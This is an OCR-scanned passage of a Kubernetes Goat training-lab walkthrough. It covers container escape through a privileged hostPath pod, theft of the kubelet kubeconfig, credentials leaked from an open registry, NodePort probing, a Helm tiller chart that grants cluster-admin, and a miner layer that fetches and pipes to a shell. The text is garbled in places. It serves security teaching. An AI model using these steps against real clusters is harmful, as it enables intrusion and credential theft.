"{\"metadata\": \"static-metadata\", \"data\": \"azhzLWdvYXQtY2E5MGVmODVKkYjdhNWFIZjAxOThkMDJmYjBkZjljYWI=\"HAn"

e Then decoding the base64 returns the flag as k8s-goat-
ca90ef85db7a5aef0198d02fb0df9cab

echo -n "azhzLWdvYXQtY2E5MGVmODVKYjdhNWF1ZjAx0ThkMDImYjBkZj1jYWI=" | base64 -d

> echo -n "azhzLWdvYXQtY2E5MGVmODVkYjdhNWF1ZjAXxOThkMDImYjBkZj1jYWI=" | base64 -d

k85—g0at—ca90ef85db7a5aefol98d02fb0df9cabﬁ

Miscellaneous

TBD

Container escape to access the host system

Scenario Information

Most of the monitoring, tracing, and debugging software requires to run with extra privileges
and capabilities. Here in this scenario, we will see a pod with extra capabilities and privileges



including HostPath allows us to gain access to the host system and provide Node level
configuration to gain complete cluster compromise.

e To get started with the scenario, navigate to http://127.0.0.1:1233

& > C  ©® 127.0.0.1:1233

root@system—-monitor-deployment-746f9d54fc-8x1xw:/# id
uid=0(root) gid=0(root) groups=0(root)
root@system—-monitor—-deployment-746f9d54fc-8x1xw: /#

Scenario Solution

After performing the analysis, we identified that this container has complete privileges of the
host system and allowed privilege escalation. As well as /host-system is mounted from the
host system.

s /
1ls /host-system/

root@gke—kubernetes—goat-default-pool-e2db1114-flcw:/# 1ls -la
total 76

drwxr-xr—x
drwxr—xr—x
- rwx r—=xr-—x
drwxr—-xr—x
drwxr—xr—x
drwxr-xr—x
drwxr—xr—x
drwxr-xr—x
d rwx r—xr—x
drwxr—-xr—x
drwxr—-xr—x
drwxr—xr—x
drwxr-xr—x
drwxr—xr—x
dr—-xr-xr-x

root root 4096 Jun 08:27 .

root root 4096 Jun 08:27 ..

root root @ Jun 08:27 .dockerenv

root root 4096 Apr 17:14 bin

root root 4096 Apr 2018 boot

root root 3720 Jun 08:27 dev

root root 4096 Jun 08:27 etc

root root 4096 Apr home

root root 4096 Jun 3 host-system

root root 4096 May lib

root root 4096 Apr 3 lib64

root root 4096 Apr A media

root root 4096 Apr B mnt

root root 4096 Apr 5 opt

root root @ Jun 3 proc

root root 4096 Jun 3 root

root root 4096 Jun A run

root root 4096 Jun 3 sbin

root root 4096 Apr 5 srv

root root @ Jun B Sys

root root 4096 Jun 3 tmp

drwx r—xr—x root root 4096 Apr 3 usr

drwx r—xr—x root root 4096 Apr 3 var

root@gke—kubernetes—goat-default-pool-e2db1114-flcw:/# 1ls /host-system/

bin dev home initrd.img.old 1ib64 media opt root run snap usr vmlinuz
boot etc initrd.img 1lib lost+found mnt proc root.tar sbin srv var vmlinuz.old
root@gke-kubernetes—goat-default-pool-e2db1114-flcw: /# i

Jany

N

=
(o]
RPRPRRPWONRPRPERPBABNNNNRPWONRENNNRERRE

Jany

dr—xr—-xr-x

drwx rwxrwt

lew Tab

e Gaining the host system privileges access chroot

chroot /host-system bash
docker ps


http://127.0.0.1:1233/

root@gke-kubernetes—goat-default—pool-e2db1114-flcw:/# chroot /host-system bash
root@gke-kubernetes—-goat-default—-pool-e2db1114-flcw:/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS
PORTS NAMES
madhuakula/k8s—goat-system-monitor "gotty -w bash" 6 minutes ago p
k8s_system—-monitor_system-monitor-deployment-6d88984f86-vm5j7_default_84897795-8cf8-4866-8552-5dc4

k8s.gcr.io/pause:3.1 "/pause" 6 minutes ago Up 6 minut
k8s_POD_system-monitor-deployment-6d88984f86-vm5j7_default_84897795-8cf8-4866-8552-5dc47c1l06aba_0
k8s.gcr.io/prometheus-to-sd "/monitor —-source=k.." 8 hours ago Up 8 hours
k8s_prometheus-to-sd_kube-dns-5c¢9ff9fc54-d8fwv_kube-system_67b81ebb-411e-4f5b-89a2-e39f2b181f4f_0
k8s.gcr.io/k8s-dns-sidecar-amd64 "/sidecar --v=2 —-1lo 8 hours ago
k8s_sidecar_kube-dns-5c9ff9fc54-d8fwv_kube-system_67b8le6b-411le b-89a2-e39f2b181f4f_0
k8s.gcr.io/k8s-dns-dnsmasq—-nanny-amd64 "/dnsmasg-nanny -v= 8 hours ago
k8s_dnsmasq_kube-dns-5c9ff9fc54-d8fwv_kube-system_67b81leb6b-411e b-89a2-e39f2b181f4f_0
k8s.gcr.io/prometheus-to-sd "/monitor —-stackdri.. 8 hours ago Up 8 hours
k8s_prometheus-to-sd-exporter_fluentd-gke-hjvx9_kube-system_9fbc4843-a47c-41b5-a3c4-0cfcaaab9c07_0

e Accessing the node level kubelet Kubernetes configuration

cat /var/lib/kubelet/kubeconfig

certificate-authority: /etc/srv/kubernetes/pki/ca-certificates.crt
server: https://35.202.222.244
name: default-cluster
contexts:
— context:
cluster: default-cluster
namespace: default
user: default-auth
name: default-context
current-context: default-context
kind: Config
preferences: {}
users:
— name: default-auth
user:
client-certificate: /var/lib/kubelet/pki/kubelet-client-current.pem
client-key: /var/lib/kubelet/pki/kubelet-client-current.pem
root@gke—kubernetes—goat-default-pool-e2db1114-flcw: /#

Download the kubectl locally to use this config and perform operations

e Using the kubelet configuration to perform Kubernetes cluster-wide resources

kubectl --kubeconfig /var/lib/kubelet/kubeconfig get all -n kube-system

<4—flcw:~# ./kubectl —-kubeconfig /var/lib/kubelet/kubeconfig get all -n kube-system
READY  STATUS RESTARTS

pod/event-exporter-gke-6c56555957-6ncnc 2/2 Running 0
pod/fluentd-gke—hjvx9 Running 0
pod/fluentd—gke-scaler—cd4d654d7-ptsk6 Running 0




pod/fluentd-gke-wércj 2/2 Running
pod/gke-metrics—-agent-9c5p5 1/1 Running
pod/gke-metrics—-agent-qzgpm 1/1 Running
pod/kube-dns-5c9ff9fc54-d8fwv 4/4 Running
pod/kube-dns-5c9ff9fc54-t7zzn 4/4 Running
pod/kube-dns—-autoscaler-645f7d66cf-26pzp 1/1 Running
pod/kube-proxy—-gke-kubernetes—goat-default-pool-e2db1114-flcw 1/1 Running
pod/kube-proxy—-gke-kubernetes—goat-default-pool-e2db1114-k0fg 1/1 Running
pod/17-default-backend-678889f899-r5b9s 1/1 Running
pod/metrics-server-v0.3.6-7b7d6c7576-d4dzq 2/2 Running

pod/prometheus-to-sd-97x14 1/1 Running
pod/prometheus-to-sd-f6jjs 1/1 Running
pod/stackdriver-metadata—-agent-cluster-level-594d7b8857-7zdbk 2/2 Running
pod/tiller-deploy-5dc9c57d5b-1x4qr 1/1 Running

SRS IS IS IS IS BEGS IEGS BGS IGS B TS IS

TYPE CLUSTER-IP EXTERNAL-IP  PORT(S)
service/default-http-backend NodePort 10.0.2.83 <none> 80:32077/TCP
service/kube-dns ClusterIP 10.0.0.10 <none> 53/UDP,53/TCP
service/metrics-server ClusterIP 10.0.12.146 <none> 443/TCP
service/tiller-deploy ClusterIP 10.0.10.245 <none> 44134/TCP

e From here we can go beyond by performing the lateral moment and post exploitation

Miscellaneous
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Docker CIS Benchmarks analysis

Scenario Information

This scenario is mainly to perform the Docker CIS benchmarks analysis on top of Kubernetes
nodes to identify the possible security vulnerabilities.

e To get started with this scenario you can either access the node and perform by following
docker bench security or run the following command to deploy docker bench security as a
DaemonSet

kubectl apply -f scenarios/docker-bench-security/deployment.yaml
kubectl get daemonsets

daemonset.apps/docker-bench-security created

> kubectl get daemonsets.apps



docker-bench-security 2 <none>
> kubectl get pods

NAME STATUS RESTARTS  AGE

build-code-deployment-7d8969f879-1qg74 Running 0 9h

docker-bench-security-mnf26 Running 0 10s
docker-bench-security-ré6zkr Running 0 10s
health-check-deployment-d69fd94f5-1v99z Running 0 9h

Scenario Solution

o Access the each docker-bench-security-xxxxx pod based on how many nodes you have
in Kubernetes cluster and run the Docker CIS benchmarks

kubectl exec -it docker-bench-security-xxxxx —-- sh
cd docker-bench-security

e Run the Docker CIS benchmarks script

sh docker-bench-security.sh

~/docker-bench-security # sh docker-bench-security.sh

# Docker Bench for Security v1.3.5
#




# Docker, Inc. (c) 2015-

#

# Checks for dozens of common best-practices around deploying Docker containers in production.
# Inspired by the CIS Docker Benchmark v1.2.0.

Initializing Mon Jun 15 09:36:28 UTC 2020

Host Configuration

.1 - General Configuration
[NOTE] 1.1.1 - Ensure the container host has been Hardened (Not Scored)
.2 - Ensure that the version of Docker is up to date (Not Scored)
* Using 19.03.2, verify is it up to date as deemed necessary
* Your operating system vendor may provide support and security maintenance for Docker

Linux Hosts Specific Configuration

- Ensure a separate partition for containers has been created (Scored)

- Ensure only trusted users are allowed to control Docker daemon (Scored)

* docker:x:113
Ensure auditing is configured for the Docker daemon (Scored)
Ensure auditing is configured for Docker files and directories - /var/lib/docker (Scored)
Ensure auditing is configured for Docker files and directories /etc/docker (Scored)
Ensure auditing is configured for Docker files and directories - docker.service (Scored)
Ensure auditing is configured for Docker files and directories - docker.socket (Scored)
Ensure auditing is configured for Docker files and directories - /etc/default/docker (Scored)
Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Scored)
File not found
Ensure auditing is configured for Docker files and directories - /etc/docker/daemon.json (Score

* File not found

Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Scored)
Ensure auditing is configured for Docker files and directories - /usr/sbin/runc (Scored)
File not found

e Now based on the vulnerabilities you see from the Docker CIS benchmarks, you can
proceed with further exploitation

Miscellaneous
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Kubernetes CIS Benchmarks analysis

Scenario Information

This scenario is mainly to perform the Kubernetes CIS benchmarks analysis on top of
Kubernetes nodes to identify the possible security vulnerabilities.

e To get started with this scenario you can either access the node and perform by following
kube-bench security or run the following command to deploy kube-bench as Kubernetes



job

kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml

kubectl apply -f scenarios/kube-bench-security/node-job.yaml
job.batch/kube-bench-node created
» kubectl get jobs
NAME COMPLETIONS DURATION  AGE
batch-check-job  1/1 4s 18h
kube-bench-node 1/1 4s 22s
» kubectl get pods
NAME STATUS RESTARTS
build-code-deployment-7d8969f879-1qg74 Running
docker-bench-security-mnf26 Running
docker-bench-security-r6zkr Running
health-check-deployment-d69fd94f5-1v99z Running
hunger-check-deployment-75d54c47f9-wv46d Running
internal-proxy-deployment-7c8ff4dff6-fbb4dm Running
kube-bench-node-rk7qd Completed

HoNoNoNoNONONO

Scenario Solution

e Now go ahead and get the jobs list and pods information by running the below
commands

kubectl get jobs
kubectl logs -f kube-bench-node—-xxxxx

» kubectl logs -f kube-bench-node-rk7qd

Worker Node Security Configuration

Worker Node Configuration Files

Ensure that the kubelet service file permissions are set to 644 or more restrictive (Not Scored)
Ensure that the kubelet service file ownership is set to root:root (Not Scored)

Ensure that the proxy kubeconfig file permissions are set to 644 or more restrictive (Scored)

Ensure that the proxy kubeconfig file ownership is set to root:root (Scored)

Ensure that the kubelet.conf file permissions are set to 644 or more restrictive (Not Scored)

Ensure that the kubelet.conf file ownership is set to root:root (Not Scored)

Ensure that the certificate authorities file permissions are set to 644 or more restrictive (Not Scored)
Ensure that the client certificate authorities file ownership is set to root:root (Not Scored)

Ensure that the kubelet configuration file has permissions set to 644 or more restrictive (Scored)
.10 Ensure that the kubelet configuration file ownership is set to root:root (Scored)

Kubelet

Ensure that the --anonymous-auth argument is set to false (Scored)

Ensure that the --authorization-mode argument is not set to AlwaysAllow (Scored)

Ensure that the --client-ca-file argument is set as appropriate (Scored)

Ensure that the --read-only-port argument is set to 0 (Scored)

Ensure that the --streaming-connection-idle-timeout argument is not set to 0 (Scored)

Ensure that the --protect-kernel-defaults argument is set to true (Scored)

Ensure that the --make-iptables-util-chains argument is set to true (Scored)

Ensure that the --hostname-override argument is not set (Scored)

Ensure that the --event-gps argument is set to 0@ or a level which ensures appropriate event capture (Scored)
.10 Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate (Scored)
.11 Ensure that the --rotate-certificates argument is not set to false

CoNOOUTE WN

CoOoONOUTE WN
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e Now based on the vulnerabilities you see from the Kubernetes CIS benchmarks, you can
proceed with further exploitation



Miscellaneous

TBD

Attacking private registry

Scenario Information

A container registry is a place where all the container images get pushed. Most of the time each
organization has its own private registry. Also sometimes it ends up misconfigured,
public/open. On the other hand, developers assume that their internal private registry only and
end up storing all the sensitive information inside the container images. Let's see what we can
find here.

e To get started with the scenario, navigate to http://127.0.0.1:1235

< C  ©® 127.0.0.1:1235

Scenario Solution

As this is an intentionally vulnerable design, we directly provided the endpoint. In the real-
world you have to do some recon.

a Racad nn tha cranarin anAd infAarmatinn wia idantifiad that it'ce naccihla AAarlzar FAntainar


http://127.0.0.1:1235/
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private registry

o After reading some docs and googling, here are the simple APl endpoint queries for the

container registry

curl http://127.0.0.1:1235/v2/
curl http://127.0.0.1:1235/v2/_catalog

> curl http://127.0.0.1:1235/v2/
s

y curl http://127.0.0.1:1235/v2/_catalog
{"repositories":["madhuakula/k8s-goat-alpine", "madhuakula/k8s-goat-users-repo"]}

e Get more information about the images inside the registry from the APl using below

queries

curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest

y curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest

{

"schemaVersion": 1,




: 8S-goat-USers-repo
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:a3ed95caeb02ffe68cddofd84406680ae93d633chb16422d00e8a7c22955b46d4"

"blobSum": "sha256:536ef547591310235984eb7642226a99ff4a91fad74317faad5753e48e631bd0"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633ch16422d00e8a7c22955b46d4"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633ch16422d00e8a7c22955b46d4"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633ch16422d00e8a7c22955b46d4"
"blobSum": "sha256:0f8a54c5d7c710ded3c3fa9ff71e9885003d375d625455e767352fc818b3bd6"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633ch16422d00e8a7c22955b46d4"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633ch16422d00e8a7c22955b46d4"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633ch16422d00e8a7c22955b46d4"
"blobSum": "sha256:81b7f5a7444b8cb64dff0006b57bc7c5eb6249e6a7698017bb5a790caf069ce7"
"blobSum": "sha256:7031d6d6c7f13f9b47350F2e479949982ch576e2a0053d7578fcfe386e8b1f17"

"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633chb16422d00e8a7c22955b46d4"

e Now, we observed that the docker container has ENV variable with API key information

> curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest | grep -i env
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 14728 100 14728 [0] 0 42080 0 —-it-=t-- —-l--io- —-i--1-- 41960
"vlCompatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\" :\"\",\"User\" :\"\",\"AttachStdin\":false,\"AttachStdout\":fa




e,\ Arttad " yo tTarse, Y e, Onces - e, L\ PATHS pent/u pene
/sbin:/bin\",\"LANG=C.UTF-8\",\"GPG_KEY=E3FF2839C048B25C084DEBEIB26995E310250568\",\"PYTHON_VERSION=3.8.3\",\"PYTHON_PIP_VERS 0.1.1\",\"PYTHON_GET_PIP_URL=htt
ps://github.com/pypa/get-pip/raw/eff16c878c7fd6b688b9b4c4267695cf1ladbfOlb/get-pip.py\",\"PYTHON_GET_PIP_SHA256=b3153ecOcf7b7bbf9556932aa37e4981c35dc2a2c501d70d91d
2795aa532be79\", \"API_KEY=k8s-goat-cf658c56a501385205cc6d2dafee8fcIN"],\"Cmd\": [\"python\",\"/app.py\"],\"Image\":\"sha256:e153d4fb27e4cd171cdaedch2ale613e6327063

97bf5cc869cffc4059b32bF43\",\"Volumes\" :null,\"WorkingDir\":\"\",\"Entrypoint\

"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"
r/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\"LAN LUTF-8\",\"GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568\" , \"PYTHON_VERSION=
3.8.3\",\"PYTHON_PIP_VERSION=20.1.1\",\"PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/eff16c878c7fd6b688bIb4c4267695cf1adbf01lb/get-pip.py\",\"PYTHON_GET_|
PIP_SHA256=b3153ec0cf7b7bbf9556932aa37e4981c35dc2a2c501d70d91d2795aa532be79\",\"API_KEY=k8s-goat-cf658c56a501385205cc6d2dafee8fc1N"],\"Cmd\": [\"/bin/sh\" ,\"-c\",\
"#(nop) \",\"CMD [\\\"python\\\" \\\"/app.py\\\"]I\"],\"Image\":\"sha256:e153d4fbh27e4cd171cdaedch2ale613e632706397bf5cc869cffc4059b32bf43\" olumes\" :null,\"Work|
ingDir\":\"\",\"Entrypoint\":null,\"OnBuild\" :null,\"Labels\" :{\"INFO\":\"Kubernetes Goat\",\"MAINTAINER\":\"Madhu Akula\"}},\"created\" -13T20:16:46.902
378866Z\",\"docker_version\":\"19.03.8\",\"1d\":\"e%9ada9f9e7f8dadfcfa730845b0051ef082f6857f22beaf86a935a65f7885d33\",\"os\": i " \"7ded59dd4c1c430
edel0fbc45aa5h1f3e6ch4c1990fb9d46e9e08a8ed752c64a\",\"throwaway\" :true}"

"vlCompatibility": "{\"id\":\"b982c822c063b9e0509aa0a9744919fe6fb5c7ad5f53a88e048425fcc60415ca\",\"parent\" :\"cc82f5244e626b95c07c021ffe8027b073b08857944
al1fbb9c5041b3623e0485\",\ "created\" :\"2020-06-13T20:16:46.673369545Z\" ,\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) IS AEKSs-goat-cf658c56a501385205|
[T " 1}, \ "throwaway\ " : true}"

"vlCompatibility": "{\"id\":\"157295f35c39ef1d533b7b3a5lad1lcc4552ce5cd9ed25a43c10ell7a6e8380a8\",\"parent\":\"dd65bb40873b452ee88ec8d4f4482e9f5a5842ae8aa)
ac409d65a5bcedce78859\",\"created\" :\"2020-06-03T19:50:52.919644515Z\" ,\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) PYTHON_GET_PIP_SHA256=b3153ec0cf7b7
bbf9556932aa37e4981c35dc2a2c501d70d91d2795aa532be79\ " 1}, \"throwaway\" : true}"

"v1Compatibility": "{\"id\":\"dd65bb40873b452ee88ec8d4f4482e9f5a5842ae8aaac409d65a5hcedce78859\",\"parent\":\"171af41a4d6347e707cfa3c480ac5178bdc67990d0c
2a044dd66d11869dad8ba\",\"created\" :\"2020-06-03T19:50:52.72304401Z\",\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) PYTHON_GET_PIP_URL=https://github.co
m/pypa/get-pip/raw/eff16c878c7fd6b688b9b4c4267695cf1adbf@lb/get-pip.py\"1},\"throwaway\": true}"

"vlCompatibility": "{\"id\":\"171af41a4d6347e707cfa3c480ac5178bdc67990d0caad44dd66d11869das \",\"parent\":\"be9586972bal128057f8e8b80bebf4ef594355901364
d9d388451014847e7104b\" ,\"created\":\"2020-06-03T19:50:52.536709394Z\",\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) PYTHON_PIP_VERSION=20.1.1\"]},\"thr
owaway\" :true}"

"vlCompatibility": "{\"id\":\"e8f9f7b0c4cab8c22f312bed4dc62a93679371f6b776d011b2e5a6c56d697fd5\",\"parent\":\"9bc24c2e206a4134e65e622ff4bad3cd87b1lcObb34f
d1cd35bb3e9a9564901d7\" ,\"created\":\"2020-06-03T19:44:10.475750581Z\",\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) PYTHON_VERSION=3.8.3\"]},\"throwawa
y\":true}"

"vlCompatibility": "{\"id\":\"9bc24c2e206a4134e65e622ff4ba®3cd87blcObb34fdlcd35bb3e9a9564901d7\",\"parent\" :\"ff9856bbec59f5d1b0494a6e2e40b246a8c9596447f
637ee4b1032edd407a7al\",\"created\ 2020-06-03T19:36:54.463195841Z\",\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) GPG_KEY=E3FF2839C048B25C084DEBE9IB26
995E310250568\" ]}, \"throwaway\" : true}"

"vlCompatibility": "{\"id\":\"d787f9af08e59e8d69bf1993946d99d2838618348d1ab0265090399016a3cdcI\",\"parent\":\"74298a5da7fcb86414aeb5h4df34ffcac2de2ad5ddc
c37b23a2f9efcad7c449e\",\"created\" :\"2020-06-03T19:36:53.13683627Z\",\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) LANG=C.UTF-8\"]},\"throwaway\" : true}

"v1Compatibility": "{\"id\ 4298a5da7fcb86414aeb5b4df34ffcac2de2ad5ddcc37b23a2f9efca®7c449e\",\"parent\":\"7d8162e3a9816c038aad353ed0c72296d300e9e4273
639d6e52400613d6c94b\",\"created\’ 2020-06-02T01:48:49.301095388Z\",\"container_config\":{\"Cmd\": [\"/bin/sh -c #(nop) PATH=/usr/local/bin:/usr/local/sbin
:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"1},\"throwaway\":true}"

This can be taken a little further by using the docker client to download the images
locally and analysing. Also in some cases you can even push the image to the registry
based on the permissions and privileges

Miscellaneous

TBD

NodePort exposed services

Scenario Information

If any of the users exposed any service within the Kubernetes cluster with NodePort, this
means if the nodes where the Kubernetes clusters running doesn't have any firewall/network
security enabled. We need to see some unauthenticated and unauthorized services.

e To get started with the scenario, run the following command and look for open ports in
the Kubernetes Nodes

kubectl get nodes -o wide



When Kubernetes creates a NodePort service, it allocates a port from a range specified in
the flags that define your Kubernetes cluster. (By default, these are ports ranging from
30000-32767.)

Scenario Solution

e Get the list of Kubernetes nodes external IP addresses information

kubectl get nodes -o wide

tl get nodes -o wide
STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP 0S-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
gke-kubernetes-goat-default-pool-e2db1114-flcw Ready <none> 10h v1.16.8-gke.15 10.128.0.7 34.66.208.195 Ubuntu 18.04.4 LTS 5.3.0-1012-gke docker://19.3.2

gke-kubernetes-goat-default-pool-e2db1114-k0fg Ready <none> 35h v1.16.8-gke.15 10.128.0.5 104.197.128.168 Ubuntu 18.04.4 LTS 5.3.0-1012-gke docker://19.3.2

e Now, let's find out the open port. In this case, you can use your traditional security
scanning utilities like Nmap

e Once we identified that there is a NodePort exposed, we can just verify by connecting to it
and access

nc -zv EXTERNAL-IP-ADDRESS 30003

C @ http://104.197.128.168:30003

{"info": "Refer to internal http://metadata-db for more information"}

This vulnerability/attack varies depends on how the Kubernetes cluster has been
configured

Miscellaneous

TBD

Helm v2 tiller to PwWN the cluster



Scenario Information

Helm is a package manager for Kubernetes. It's like apt-get for ubuntu. In this scenario, we
will see the older version of helm (version 2), tiller service RBAC default setup to gain access to
the completed cluster.

e To get started with the scenario, run the following command

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller --
bash

> kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

If you don't see a command prompt, try pressing enter.

Scenario Solution

e By default helm version 2 tiller deployment has RBAC with full cluster administrator
privileges

e So the default installation is in kube-system namespace with service name tiller-
deploy and port 44134 exposedto 0.0.0.0.So we can verify by running telnet
command

telnet tiller-deploy.kube-system 44134

root@bash:/# telnet tiller-deploy.kube-system 44134
Trying 10.0.10.245...

Connected to tiller-deploy.kube-system.svc.cluster.local.
Escape character is '"]'.

~C™C

XML

~“CConnection closed by foreign host.

e Now, we are able to connect to the tiller service port. We can use the helm binary to
perform operations and talk to tiller service

helm --host tiller-deploy.kube-system:44134 version

root@bash:/# helm --host tiller-deploy.kube-system:44134 version
Client: &version.Version{SemVer:"v2.12.3", GitCommit:"eecf22f77df5f65c823aacd2dbd30ae6c65f186e", GitTreeState:"clean"}

Server: &version.Version{SemVer:"v2.16.8", GitCommit:"145206680c1d5c28e3fcf30d6f596f0ba84fch47", GitTreeState:"clean"}
nnta@ahach i



o Let's try if we can get Kubernetes secrets from the cluster from kube-system namespace

kubectl get secrets -n kube-system

root@bash:/# kubectl get secrets -n kube-system
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:default" cannot list resource "secrets" in API group "" in

the namespace "kube-system"

e Now we can create our own helm chart to give permissions to default service account full
cluster admin access, as by default the current pod deployed in default namespace which
has the default service account

helm --host tiller-deploy.kube-system:44134 -install --name pwnchart /pwnchart

root@bash:/# helm --host tiller-deploy.kube-system:44134 install /pwnchart
NAME : aspiring-rabbit

LAST DEPLOYED: Mon Jun 15 12:46:18 2020

NAMESPACE: default

STATUS: DEPLOYED

RESOURCES:

==> vlbetal/ClusterRole
NAME AGE
all-your-base 0s

==> vlbetal/ClusterRoleBinding
NAME AGE
belong-to-us 0s

e Now the pwnchart has been deployed, it has given all the default service accounts cluster
admin access. Hence let's try getting the kube-system namespace secrets again

kubectl get secrets -n kube-system

root@bash:/# kubectl get secrets -n kube-system
NAME TYPE DATA  AGE

attachdetach-controller-token-jbg92 kubernetes.io/service-account-token 3 37h



cloud-provider-token-xs7n6
clusterrole-aggregation-controller-token-xjkps
cronjob-controller-token-k4ts9
daemon-set-controller-token-d52bg
default-token-gzxc2
deployment-controller-token-sl6hv
disruption-controller-token-gzhwn
endpoint-controller-token-zx881
event-exporter-sa-token-h2wdh
expand-controller-token-clghs
fluentd-gke-scaler-token-w88xn
fluentd-gke-token-b4rxr
generic-garbage-collector-token-11tf]j
gke-metrics-agent-token-gb5mh
job-controller-token-wwxng
kube-dns-autoscaler-token-tb7tk
kube-dns-token-2p7fv

kube- proxy token- zgzqh

kubernetes.
kubernetes.
.10/service-account-token
.1o0/service-account-token
kubernetes.
kubernetes.
kubernetes.
kubernetes.
kubernetes.
.10/service-account-token
.1o0/service-account-token
kubernetes.
kubernetes.
kubernetes.
kubernetes.
kubernetes.
.1o/service-account-token
.1o/serv1ce account-token

kubernetes
kubernetes

kubernetes
kubernetes

kubernetes
kubernetes

lo/serv1ce account-token
io/service-account-token

io/service-account-token
i0/service-account-token
io/service-account-token
io/service-account-token
i0/service-account-token

io/service-account-token
io/service-account-token
io/service-account-token
io/service-account-token
io/service-account-token

WWWwWwwwuwwwwwwwwwwww

This scenario varies how the tiller deployment has been performed, sometimes admins
deploy tiller to a specific namespace with specific privilege. Also from Helm version 3,
there is no tiller service to mitigate such vulnerabilities

Miscellaneous

e https://engineering.bitnami.com/articles/helm-security.html

Analysing crypto miner container

Scenario Information

Crypto mining has become popular with modern infrastructure. Especially environments like
Kubernetes are an easy target as you might not even look at what exactly the container image
builds upon and what it is doing with proactive monitoring. Here in this scenario, we will

analyse and identify the crypto miner.

e To get started, identify all the resources/images in the Kubernetes cluster. Including Jobs.

kubectl get jobs

> kubectl get jobs -A

NAMESPACE NAME

COMPLETIONS

DURATION

AGE


https://engineering.bitnami.com/articles/helm-security.html

default batch-check-job
default kube-bench-master

default kube-bench-node

Scenario Solution

Identify all resources within a Kubernetes cluster. If possible get into details of each
container image available in all the nodes within the cluster as well

e Once we have identified the job we ran in the Kubernetes cluster, got the pod information
by running following command

kubectl describe job batch-check-job

> kubectl describe job batch-check-job
Name: batch-check-job
Namespace: default
Selector: controller-uid=f201b41c-9724-43c4-b347-eceb43ad42bfa
Labels: controller-uid=f201b41c-9724-43c4-b347-eceb43ad42bfa
job-name=batch-check-job
Annotations: Parallelism: 1
Completions: 1
Start Time: Sun, 14 Jun 2020 17:29:13 +0200
Completed At: Sun, 14 Jun 2020 17:29:17 +0200
Duration: 4s
Pods Statuses: 0 Running / 1 Succeeded / 0 Failed
Pod Template:
Labels: controller-uid=f201b41c-9724-43c4-b347-eceb43ad42bfa
job-name=batch-check-job
Containers:
batch-check:
Image: madhuakula/k8s-goat-batch-check
Port: <none>
Host Port: <none>
Environment: <none>
Mounts: <none>
Volumes: <none>
Events: <none>

e Then get the pod information by running the below command

kubectl get pods --namespace default -1



e Then get the pod information manifest and analyse
kubectl get pod batch-check-job-xxxx -o yaml

> kubectl get pod batch-check-job-r7f9z -o yaml
apiVersion: vl
kind: Pod
metadata:
annotations:
kubernetes.io/limit-ranger: 'LimitRanger plugin set: cpu request for container
batch-check'
creationTimestamp: "2020-06-15T11:04:27Z2"
generateName: batch-check-job-
labels:
controller-uid: 02e26e55-3e32-4fd5-bb60-eb48f16T0285
job-name: batch-check-job
name: batch-check-job-r7f9z
namespace: default
ownerReferences:
- apiVersion: batch/vl
blockOwnerDeletion: true
controller: true
kind: Job
name: batch-check-job
uid: 02e26e55-3e32-4fd5-bb60-eb48f16T0285
resourceVersion: "619808"
selfLink: /api/vl/namespaces/default/pods/batch-check-job-r7f9z
uid: f8a64f34-bf19-4358-b081-662e34069283
spec:
containers:
- image: madhuakula/k8s-goat-batch-check
imagePullPolicy: Always
name: batch-check
resources:
requests:
cpu: 100m
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: default-token-zp5zf
readOnly: true
dnsPolicy: ClusterFirst

e |dentified that it's running madhuakula/k8s-goat-batch-check docker image

o After performing analysis of this image we identified it has the mining stuff in the build
time script in one of the layer

docker history --no-trunc madhuakula/k8s-goat-batch-check

» docker history --no-trunc madhuakula/k8s-goat-batch-check
CREATED CREATED BY

COMMENT




0B
sha256:500eb24d050585440036b43125c0675341a9121d29252c69d9589ab7ddbf829c¢ 37 hours ago /bin/sh -c apk add --no-cache htop curl ca-
certificates && echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " >
/usr/bin/system-startup && chmod +x /usr/bin/system-startup && rm -rf /tmp/* 2.07MB
